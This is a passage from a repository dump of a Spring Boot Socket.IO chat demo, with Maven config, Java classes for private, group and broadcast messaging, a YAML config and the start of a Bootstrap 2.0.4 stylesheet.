<artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_websocket_socketio</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/SpringBootDemoWebsocketSocketioApplication.java",
    "content": "package com.jun.plugin.websocket.socketio;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 13:59\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoWebsocketSocketioApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoWebsocketSocketioApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/config/DbTemplate.java",
    "content": "package com.jun.plugin.websocket.socketio.config;\n\nimport cn.hutool.core.collection.CollUtil;\nimport org.springframework.stereotype.Component;\n\nimport java.util.List;\nimport java.util.Optional;\nimport java.util.UUID;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * <p>\n * 模拟数据库\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.config\n * @description: 模拟数据库\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 19:12\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\npublic class DbTemplate {\n    /**\n     * 模拟数据库存储 user_id <-> session_id 的关系\n     */\n    public static final ConcurrentHashMap<String, UUID> DB = new ConcurrentHashMap<>();\n\n    /**\n     * 获取所有SessionId\n     *\n     * @return SessionId列表\n     */\n    public List<UUID> findAll() {\n        return CollUtil.newArrayList(DB.values());\n    }\n\n    /**\n     * 根据UserId查询SessionId\n     *\n     * @param userId 用户id\n     * @return SessionId\n     */\n    public Optional<UUID> findByUserId(String userId) {\n        return Optional.ofNullable(DB.get(userId));\n    }\n\n    /**\n     * 保存/更新 user_id <-> session_id 的关系\n     *\n     * @param userId    用户id\n     * @param sessionId SessionId\n     */\n    public void save(String userId, UUID sessionId) {\n        DB.put(userId, sessionId);\n    }\n\n    /**\n     * 删除 user_id <-> session_id 的关系\n     *\n     * @param userId 用户id\n     */\n    public void deleteByUserId(String userId) {\n        DB.remove(userId);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/config/Event.java",
    "content": "package com.jun.plugin.websocket.socketio.config;\n\n/**\n * <p>\n * 事件常量\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.config\n * @description: 事件常量\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 19:36\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface Event {\n    /**\n     * 聊天事件\n     */\n    String CHAT = \"chat\" ;\n\n    /**\n     * 广播消息\n     */\n    String BROADCAST = \"broadcast\" ;\n\n    /**\n     * 群聊\n     */\n    String GROUP = \"group\" ;\n\n    /**\n     * 加入群聊\n     */\n    String JOIN = \"join\" ;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/config/ServerConfig.java",
    "content": "package com.jun.plugin.websocket.socketio.config;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.corundumstudio.socketio.annotation.SpringAnnotationScanner;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * <p>\n * websocket服务器配置\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.config\n * @description: websocket服务器配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 16:42\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableConfigurationProperties({WsConfig.class})\npublic class ServerConfig {\n\n    @Bean\n    public SocketIOServer server(WsConfig wsConfig) {\n        com.corundumstudio.socketio.Configuration config = new com.corundumstudio.socketio.Configuration();\n        config.setHostname(wsConfig.getHost());\n        config.setPort(wsConfig.getPort());\n\n        //这个listener可以用来进行身份验证\n        config.setAuthorizationListener(data -> {\n            // http://localhost:8081?token=xxxxxxx\n            // 例如果使用上面的链接进行connect，可以使用如下代码获取用户密码信息，本文不做身份验证\n            String token = data.getSingleUrlParam(\"token\");\n            // 校验token的合法性，实际业务需要校验token是否过期等等，参考 spring-boot-demo-rbac-security 里的 JwtUtil\n            // 如果认证不通过会返回一个 Socket.EVENT_CONNECT_ERROR 事件\n            return StrUtil.isNotBlank(token);\n        });\n\n        return new SocketIOServer(config);\n    }\n\n    /**\n     * Spring 扫描自定义注解\n     */\n    @Bean\n    public SpringAnnotationScanner springAnnotationScanner(SocketIOServer server) {\n        return new SpringAnnotationScanner(server);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/config/WsConfig.java",
    "content": "package com.jun.plugin.websocket.socketio.config;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * <p>\n * WebSocket配置类\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.config\n * @description: WebSocket配置类\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 16:41\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@ConfigurationProperties(prefix = \"ws.server\")\n@Data\npublic class WsConfig {\n    /**\n     * 端口号\n     */\n    private Integer port;\n\n    /**\n     * host\n     */\n    private String host;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/controller/MessageController.java",
    "content": "package com.jun.plugin.websocket.socketio.controller;\n\nimport cn.hutool.core.lang.Dict;\nimport cn.hutool.core.util.ReflectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.websocket.socketio.handler.MessageEventHandler;\nimport com.jun.plugin.websocket.socketio.payload.BroadcastMessageRequest;\n\nimport java.lang.reflect.Field;\n\n/**\n * <p>\n * 消息发送Controller\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.controller\n * @description: 消息发送Controller\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 19:50\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@RequestMapping(\"/send\")\n@Slf4j\npublic class MessageController {\n    @Autowired\n    private MessageEventHandler messageHandler;\n\n    @PostMapping(\"/broadcast\")\n    public Dict broadcast(@RequestBody BroadcastMessageRequest message) {\n        if (isBlank(message)) {\n            return Dict.create().set(\"flag\", false).set(\"code\", 400).set(\"message\", \"参数为空\");\n        }\n        messageHandler.sendToBroadcast(message);\n        return Dict.create().set(\"flag\", true).set(\"code\", 200).set(\"message\", \"发送成功\");\n    }\n\n    /**\n     * 判断Bean是否为空对象或者空白字符串，空对象表示本身为<code>null</code>或者所有属性都为<code>null</code>\n     *\n     * @param bean Bean对象\n     * @return 是否为空，<code>true</code> - 空 / <code>false</code> - 非空\n     */\n    private boolean isBlank(Object bean) {\n        if (null != bean) {\n            for (Field field : ReflectUtil.getFields(bean.getClass())) {\n                Object fieldValue = ReflectUtil.getFieldValue(bean, field);\n                if (null != fieldValue) {\n                    if (fieldValue instanceof String && StrUtil.isNotBlank((String) fieldValue)) {\n                        return false;\n                    } else if (!(fieldValue instanceof String)) {\n                        return false;\n                    }\n                }\n            }\n        }\n        return true;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/handler/MessageEventHandler.java",
    "content": "package com.jun.plugin.websocket.socketio.handler;\n\nimport cn.hutool.core.lang.Dict;\nimport cn.hutool.core.util.ObjectUtil;\nimport com.corundumstudio.socketio.AckRequest;\nimport com.corundumstudio.socketio.SocketIOClient;\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.corundumstudio.socketio.annotation.OnConnect;\nimport com.corundumstudio.socketio.annotation.OnDisconnect;\nimport com.corundumstudio.socketio.annotation.OnEvent;\nimport com.jun.plugin.websocket.socketio.config.DbTemplate;\nimport com.jun.plugin.websocket.socketio.config.Event;\nimport com.jun.plugin.websocket.socketio.payload.BroadcastMessageRequest;\nimport com.jun.plugin.websocket.socketio.payload.GroupMessageRequest;\nimport com.jun.plugin.websocket.socketio.payload.JoinRequest;\nimport com.jun.plugin.websocket.socketio.payload.SingleMessageRequest;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Collection;\nimport java.util.Optional;\nimport java.util.UUID;\n\n/**\n * <p>\n * 消息事件处理\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.handler\n * @description: 消息事件处理\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 18:57\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class MessageEventHandler {\n    @Autowired\n    private SocketIOServer server;\n\n    @Autowired\n    private DbTemplate dbTemplate;\n\n    /**\n     * 添加connect事件，当客户端发起连接时调用\n     *\n     * @param client 客户端对象\n     */\n    @OnConnect\n    public void onConnect(SocketIOClient client) {\n        if (client != null) {\n            String token = client.getHandshakeData().getSingleUrlParam(\"token\");\n            // 模拟用户id 和token一致\n            String userId = client.getHandshakeData().getSingleUrlParam(\"token\");\n            UUID sessionId = client.getSessionId();\n\n            dbTemplate.save(userId, sessionId);\n            log.info(\"连接成功,【token】= {},【sessionId】= {}\", token, sessionId);\n        } else {\n            log.error(\"客户端为空\");\n        }\n    }\n\n    /**\n     * 添加disconnect事件，客户端断开连接时调用，刷新客户端信息\n     *\n     * @param client 客户端对象\n     */\n    @OnDisconnect\n    public void onDisconnect(SocketIOClient client) {\n        if (client != null) {\n            String token = client.getHandshakeData().getSingleUrlParam(\"token\");\n            // 模拟用户id 和token一致\n            String userId = client.getHandshakeData().getSingleUrlParam(\"token\");\n            UUID sessionId = client.getSessionId();\n\n            dbTemplate.deleteByUserId(userId);\n            log.info(\"客户端断开连接,【token】= {},【sessionId】= {}\", token, sessionId);\n            client.disconnect();\n        } else {\n            log.error(\"客户端为空\");\n        }\n    }\n\n    /**\n     * 加入群聊\n     *\n     * @param client  客户端\n     * @param request 请求\n     * @param data    群聊\n     */\n    @OnEvent(value = Event.JOIN)\n    public void onJoinEvent(SocketIOClient client, AckRequest request, JoinRequest data) {\n        log.info(\"用户：{} 已加入群聊：{}\", data.getUserId(), data.getGroupId());\n        client.joinRoom(data.getGroupId());\n\n        server.getRoomOperations(data.getGroupId()).sendEvent(Event.JOIN, data);\n    }\n\n\n    @OnEvent(value = Event.CHAT)\n    public void onChatEvent(SocketIOClient client, AckRequest request, SingleMessageRequest data) {\n        Optional<UUID> toUser = dbTemplate.findByUserId(data.getToUid());\n        if (toUser.isPresent()) {\n            log.info(\"用户 {} 刚刚私信了用户 {}：{}\", data.getFromUid(), data.getToUid(), data.getMessage());\n            sendToSingle(toUser.get(), data);\n            request.sendAckData(Dict.create().set(\"flag\", true).set(\"message\", \"发送成功\"));\n        } else {\n            request.sendAckData(Dict.create()\n                    .set(\"flag\", false)\n                    .set(\"message\", \"发送失败，对方不想理你(\" + data.getToUid() + \"不在线)\"));\n        }\n    }\n\n    @OnEvent(value = Event.GROUP)\n    public void onGroupEvent(SocketIOClient client, AckRequest request, GroupMessageRequest data) {\n        Collection<SocketIOClient> clients = server.getRoomOperations(data.getGroupId()).getClients();\n\n        boolean inGroup = false;\n        for (SocketIOClient socketIOClient : clients) {\n            if (ObjectUtil.equal(socketIOClient.getSessionId(), client.getSessionId())) {\n                inGroup = true;\n                break;\n            }\n        }\n        if (inGroup) {\n            log.info(\"群号 {} 收到来自 {} 的群聊消息：{}\", data.getGroupId(), data.getFromUid(), data.getMessage());\n            sendToGroup(data);\n        } else {\n            request.sendAckData(\"请先加群！\");\n        }\n    }\n\n    /**\n     * 单聊\n     */\n    public void sendToSingle(UUID sessionId, SingleMessageRequest message) {\n        server.getClient(sessionId).sendEvent(Event.CHAT, message);\n    }\n\n    /**\n     * 广播\n     */\n    public void sendToBroadcast(BroadcastMessageRequest message) {\n        log.info(\"系统紧急广播一条通知：{}\", message.getMessage());\n        for (UUID clientId : dbTemplate.findAll()) {\n            if (server.getClient(clientId) == null) {\n                continue;\n            }\n            server.getClient(clientId).sendEvent(Event.BROADCAST, message);\n        }\n    }\n\n    /**\n     * 群聊\n     */\n    public void sendToGroup(GroupMessageRequest message) {\n        server.getRoomOperations(message.getGroupId()).sendEvent(Event.GROUP, message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/init/ServerRunner.java",
    "content": "package com.jun.plugin.websocket.socketio.init;\n\nimport com.corundumstudio.socketio.SocketIOServer;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * websocket服务器启动\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.init\n * @description: websocket服务器启动\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 17:07\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class ServerRunner implements CommandLineRunner {\n    @Autowired\n    private SocketIOServer server;\n\n    @Override\n    public void run(String... args) {\n        server.start();\n        log.info(\"websocket 服务器启动成功。。。\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/payload/BroadcastMessageRequest.java",
    "content": "package com.jun.plugin.websocket.socketio.payload;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 广播消息载荷\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.payload\n * @description: 广播消息载荷\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 20:01\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class BroadcastMessageRequest {\n    /**\n     * 消息内容\n     */\n    private String message;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/payload/GroupMessageRequest.java",
    "content": "package com.jun.plugin.websocket.socketio.payload;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 群聊消息载荷\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.payload\n * @description: 群聊消息载荷\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 16:59\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class GroupMessageRequest {\n    /**\n     * 消息发送方用户id\n     */\n    private String fromUid;\n\n    /**\n     * 群组id\n     */\n    private String groupId;\n\n    /**\n     * 消息内容\n     */\n    private String message;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/payload/JoinRequest.java",
    "content": "package com.jun.plugin.websocket.socketio.payload;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 加群载荷\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.payload\n * @description: 加群载荷\n * @author: yangkai.shen\n * @date: Created in 2018-12-19 13:36\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class JoinRequest {\n    /**\n     * 用户id\n     */\n    private String userId;\n\n    /**\n     * 群名称\n     */\n    private String groupId;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/java/com/jun/plugin/websocket/socketio/payload/SingleMessageRequest.java",
    "content": "package com.jun.plugin.websocket.socketio.payload;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 私聊消息载荷\n * </p>\n *\n * @package: com.xkcoding.websocket.socketio.payload\n * @description: 私聊消息载荷\n * @author: yangkai.shen\n * @date: Created in 2018-12-18 17:02\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class SingleMessageRequest {\n    /**\n     * 消息发送方用户id\n     */\n    private String fromUid;\n\n    /**\n     * 消息接收方用户id\n     */\n    private String toUid;\n\n    /**\n     * 消息内容\n     */\n    private String message;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nws:\n  server:\n    port: 8081\n    host: localhost"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/resources/static/bootstrap.css",
    "content": "/*!\n * Bootstrap v2.0.4\n *\n * Copyright 2012 Twitter, Inc\n * Licensed under the Apache License v2.0\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Designed and built with all the love in the world @twitter by @mdo and @fat.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nnav,\nsection {\n  display: block;\n}\n\naudio,\ncanvas,\nvideo {\n  display: inline-block;\n  *display: inline;\n  *zoom: 1;\n}\n\naudio:not([controls]) {\n  display: none;\n}\n\nhtml {\n  font-size: 100%;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\n\na:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\na:hover,\na:active {\n  outline: 0;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\nimg {\n  max-width: 100%;\n  vertical-align: middle;\n  border: 0;\n  -ms-interpolation-mode: bicubic;\n}\n\n#map_canvas img {\n  max-width: none;\n}\n\nbutton,\ninput,\nselect,\ntextarea {\n  margin: 0;\n  font-size: 100%;\n  vertical-align: middle;\n}\n\nbutton,\ninput {\n  *overflow: visible;\n  line-height: normal;\n}\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\n\nbutton,\ninput[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  cursor: pointer;\n  -webkit-appearance: button;\n}\n\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\n\ninput[type=\"search\"]::-webkit-search-decoration,\ninput[type=\"search\"]::-webkit-search-cancel-button {\n  -webkit-appearance: none;\n}\n\ntextarea {\n  overflow: auto;\n  vertical-align: top;\n}\n\n.clearfix {\n  *zoom: 1;\n}\n\n.clearfix:before,\n.clearfix:after {\n  display: table;\n  content: \"\";\n}\n\n.clearfix:after {\n  clear: both;\n}\n\n.hide-text {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.input-block-level {\n  display: block;\n  width: 100%;\n  min-height: 28px;\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\nbody {\n  margin: 0;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  line-height: 18px;\n  color: #333333;\n  background-color: #ffffff;\n}\n\na {\n  color: #0088cc;\n  text-decoration: none;\n}\n\na:hover {\n  color: #005580;\n  text-decoration: underline;\n}\n\n.row {\n  margin-left: -20px;\n  *zoom: 1;\n}\n\n.row:before,\n.row:after {\n  display: table;\n  content: \"\";\n}\n\n.row:after {\n  clear: both;\n}\n\n[class*=\"span\"] {\n  float: left;\n  margin-left: 20px;\n}\n\n.container,\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n\n.span12 {\n  width: 940px;\n}\n\n.span11 {\n  width: 860px;\n}\n\n.span10 {\n  width: 780px;\n}\n\n.span9 {\n  width: 700px;\n}\n\n.span8 {\n  width: 620px;\n}\n\n.span7 {\n  width: 540px;\n}\n\n.span6 {\n  width: 460px;\n}\n\n.span5 {\n  width: 380px;\n}\n\n.span4 {\n  width: 300px;\n}\n\n.span3 {\n  width: 220px;\n}\n\n.span2 {\n  width: 140px;\n}\n\n.span1 {\n  width: 60px;\n}\n\n.offset12 {\n  margin-left: 980px;\n}\n\n.offset11 {\n  margin-left: 900px;\n}\n\n.offset10 {\n  margin-left: 820px;\n}\n\n.offset9 {\n  margin-left: 740px;\n}\n\n.offset8 {\n  margin-left: 660px;\n}\n\n.offset7 {\n  margin-left: 580px;\n}\n\n.offset6 {\n  margin-left: 500px;\n}\n\n.offset5 {\n  margin-left: 420px;\n}\n\n.offset4 {\n  margin-left: 340px;\n}\n\n.offset3 {\n  margin-left: 260px;\n}\n\n.offset2 {\n  margin-left: 180px;\n}\n\n.offset1 {\n  margin-left: 100px;\n}\n\n.row-fluid {\n  width: 100%;\n  *zoom: 1;\n}\n\n.row-fluid:before,\n.row-fluid:after {\n  display: table;\n  content: \"\";\n}\n\n.row-fluid:after {\n  clear: both;\n}\n\n.row-fluid [class*=\"span\"] {\n  display: block;\n  float: left;\n  width: 100%;\n  min-height: 28px;\n  margin-left: 2.127659574%;\n  *margin-left: 2.0744680846382977%;\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\n.row-fluid [class*=\"span\"]:first-child {\n  margin-left: 0;\n}\n\n.row-fluid .span12 {\n  width: 99.99999998999999%;\n  *width: 99.94680850063828%;\n}\n\n.row-fluid .span11 {\n  width: 91.489361693%;\n  *width: 91.4361702036383%;\n}\n\n.row-fluid .span10 {\n  width: 82.97872339599999%;\n  *width: 82.92553190663828%;\n}\n\n.row-fluid .span9 {\n  width: 74.468085099%;\n  *width: 74.4148936096383%;\n}\n\n.row-fluid .span8 {\n  width: 65.95744680199999%;\n  *width: 65.90425531263828%;\n}\n\n.row-fluid .span7 {\n  width: 57.446808505%;\n  *width: 57.3936170156383%;\n}\n\n.row-fluid .span6 {\n  width: 48.93617020799999%;\n  *width: 48.88297871863829%;\n}\n\n.row-fluid .span5 {\n  width: 40.425531911%;\n  *width: 40.3723404216383%;\n}\n\n.row-fluid .span4 {\n  width: 31.914893614%;\n  *width: 31.8617021246383%;\n}\n\n.row-fluid .span3 {\n  width: 23.404255317%;\n  *width: 23.3510638276383%;\n}\n\n.row-fluid .span2 {\n  width: 14.89361702%;\n  *width: 14.8404255306383%;\n}\n\n.row-fluid .span1 {\n  width: 6.382978723%;\n  *width: 6.329787233638298%;\n}\n\n.container {\n  margin-right: auto;\n  margin-left: auto;\n  *zoom: 1;\n}\n\n.container:before,\n.container:after {\n  display: table;\n  content: \"\";\n}\n\n.container:after {\n  clear: both;\n}\n\n.container-fluid {\n  padding-right: 20px;\n  padding-left: 20px;\n  *zoom: 1;\n}\n\n.container-fluid:before,\n.container-fluid:after {\n  display: table;\n  content: \"\";\n}\n\n.container-fluid:after {\n  clear: both;\n}\n\np {\n  margin: 0 0 9px;\n}\n\np small {\n  font-size: 11px;\n  color: #999999;\n}\n\n.lead {\n  margin-bottom: 18px;\n  font-size: 20px;\n  font-weight: 200;\n  line-height: 27px;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n  margin: 0;\n  font-family: inherit;\n  font-weight: bold;\n  color: inherit;\n  text-rendering: optimizelegibility;\n}\n\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small {\n  font-weight: normal;\n  color: #999999;\n}\n\nh1 {\n  font-size: 30px;\n  line-height: 36px;\n}\n\nh1 small {\n  font-size: 18px;\n}\n\nh2 {\n  font-size: 24px;\n  line-height: 36px;\n}\n\nh2 small {\n  font-size: 18px;\n}\n\nh3 {\n  font-size: 18px;\n  line-height: 27px;\n}\n\nh3 small {\n  font-size: 14px;\n}\n\nh4,\nh5,\nh6 {\n  line-height: 18px;\n}\n\nh4 {\n  font-size: 14px;\n}\n\nh4 small {\n  font-size: 12px;\n}\n\nh5 {\n  font-size: 12px;\n}\n\nh6 {\n  font-size: 11px;\n  color: #999999;\n  text-transform: uppercase;\n}\n\n.page-header {\n  padding-bottom: 17px;\n  margin: 18px 0;\n  border-bottom: 1px solid #eeeeee;\n}\n\n.page-header h1 {\n  line-height: 1;\n}\n\nul,\nol {\n  padding: 0;\n  margin: 0 0 9px 25px;\n}\n\nul ul,\nul ol,\nol ol,\nol ul {\n  margin-bottom: 0;\n}\n\nul {\n  list-style: disc;\n}\n\nol {\n  list-style: decimal;\n}\n\nli {\n  line-height: 18px;\n}\n\nul.unstyled,\nol.unstyled {\n  margin-left: 0;\n  list-style: none;\n}\n\ndl {\n  margin-bottom: 18px;\n}\n\ndt,\ndd {\n  line-height: 18px;\n}\n\ndt {\n  font-weight: bold;\n  line-height: 17px;\n}\n\ndd {\n  margin-left: 9px;\n}\n\n.dl-horizontal dt {\n  float: left;\n  width: 120px;\n  overflow: hidden;\n  clear: left;\n  text-align: right;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.dl-horizontal dd {\n  margin-left: 130px;\n}\n\nhr {\n  margin: 18px 0;\n  border: 0;\n  border-top: 1px solid #eeeeee;\n  border-bottom: 1px solid #ffffff;\n}\n\nstrong {\n  font-weight: bold;\n}\n\nem {\n  font-style: italic;\n}\n\n.muted {\n  color: #999999;\n}\n\nabbr[title] {\n  cursor: help;\n  border-bottom: 1px dotted #999999;\n}\n\nabbr.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\nblockquote {\n  padding: 0 0 0 15px;\n  margin: 0 0 18px;\n  border-left: 5px solid #eeeeee;\n}\n\nblockquote p {\n  margin-bottom: 0;\n  font-size: 16px;\n  font-weight: 300;\n  line-height: 22.5px;\n}\n\nblockquote small {\n  display: block;\n  line-height: 18px;\n  color: #999999;\n}\n\nblockquote small:before {\n  content: '\\2014 \\00A0';\n}\n\nblockquote.pull-right {\n  float: right;\n  padding-right: 15px;\n  padding-left: 0;\n  border-right: 5px solid #eeeeee;\n  border-left: 0;\n}\n\nblockquote.pull-right p,\nblockquote.pull-right small {\n  text-align: right;\n}\n\nq:before,\nq:after,\nblockquote:before,\nblockquote:after {\n  content: \"\";\n}\n\naddress {\n  display: block;\n  margin-bottom: 18px;\n  font-style: normal;\n  line-height: 18px;\n}\n\nsmall {\n  font-size: 100%;\n}\n\ncite {\n  font-style: normal;\n}\n\ncode,\npre {\n  padding: 0 3px 2px;\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n  font-size: 12px;\n  color: #333333;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\ncode {\n  padding: 2px 4px;\n  color: #d14;\n  background-color: #f7f7f9;\n  border: 1px solid #e1e1e8;\n}\n\npre {\n  display: block;\n  padding: 8.5px;\n  margin: 0 0 9px;\n  font-size: 12.025px;\n  line-height: 18px;\n  word-break: break-all;\n  word-wrap: break-word;\n  white-space: pre;\n  white-space: pre-wrap;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\npre.prettyprint {\n  margin-bottom: 18px;\n}\n\npre code {\n  padding: 0;\n  color: inherit;\n  background-color: transparent;\n  border: 0;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\nform {\n  margin: 0 0 18px;\n}\n\nfieldset {\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 27px;\n  font-size: 19.5px;\n  line-height: 36px;\n  color: #333333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\n\nlegend small {\n  font-size: 13.5px;\n  color: #999999;\n}\n\nlabel,\ninput,\nbutton,\nselect,\ntextarea {\n  font-size: 13px;\n  font-weight: normal;\n  line-height: 18px;\n}\n\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n}\n\nlabel {\n  display: block;\n  margin-bottom: 